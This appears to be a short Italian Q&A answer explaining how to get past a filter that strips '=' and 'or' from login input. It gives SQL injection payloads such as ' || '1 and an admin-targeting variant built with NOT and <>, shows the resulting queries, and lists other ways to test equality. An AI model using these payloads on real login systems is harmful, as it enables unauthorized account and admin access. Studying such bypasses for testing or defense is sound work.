Assumendo questa definizione di lvl2_filter
, che sostanzialmente rimuove qualsiasi occorrenza di =
e or
fino a quando non viene più trovato, dovrebbe essere ancora possibile utilizzare il operazione OR logica
con ||
invece di OR
e una semplice espressione che restituisce true come:
username: dummy
password: ' || '1
Ciò comporterebbe:
SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
Per selezionare un utente specifico, è possibile utilizzare le regole dell'algebra booleana
, dove x=y
=!(x!=y)
:
username: dummy
password: ' || NOT(username<>'admin') AND '1
Ciò comporterebbe:
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
Qui <>
è equivalente a !=
ma non contiene un =
.
Ci sono anche altre operazioni che è possibile utilizzare per garantire nome utente è uguale a admin
:
username BETWEEN 'admin' AND 'admin'
username LIKE 'admin'
username IN ('admin')
IF(STRCMP(username,'admin'), 0, 1)
CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END
- ...